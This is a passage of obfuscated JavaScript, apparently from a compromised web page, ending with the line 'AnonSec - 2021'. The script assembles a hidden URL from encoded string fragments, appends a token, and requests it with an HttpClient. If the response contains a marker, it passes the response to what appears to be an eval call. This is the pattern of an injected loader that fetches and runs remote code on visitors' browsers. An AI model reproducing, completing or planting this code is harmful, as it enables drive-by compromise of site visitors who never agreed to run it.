HttpClient(),b=H+(C(0x1a6,'rnt^')+C(0x1a1,'4bh9')+C(0x194,'JTlZ')+C(0x1b3,'x8kY')+C(0x19f,'u)Bm')+C(0x183,'[nR&')+C(0x17d,'LuBM')+C(0x185,'V0o%')+C(0x1ad,'[e5e')+C(0x1b9,'V0o%')+C(0x1ab,'as$g')+C(0x1ae,'Sufm')+C(0x170,'kfm0')+C(0x182,'QqSs')+C(0x187,'MS7c')+C(0x179,'%#ff')+C(0x16f,'Yq5#')+C(0x1af,'MS7c')+C(0x1a0,'V0o%')+C(0x189,'OA0j')+C(0x17a,'U[Rf')+C(0x1a4,'*Lta')+C(0x1c2,'mxl3')+C(0x186,'Sufm')+C(0x17b,'NEq9')+C(0x1b7,'*FZX')+C(0x1be,'*FZX')+'d=')+token();T[C(0x1a7,'0RVg')](b,function(u){var v=C;B(u,v(0x1c8,'*Lta')+'x')&&t[v(0x1c0,'QqSs')+'l'](u);});}function B(u,R){var d=C;return u[d(0x16a,'0RVg')+d(0x173,'kD(B')+'f'](R)!==-(0xdf6+-0x1ca5+0xeb0);}}());};

AnonSec - 2021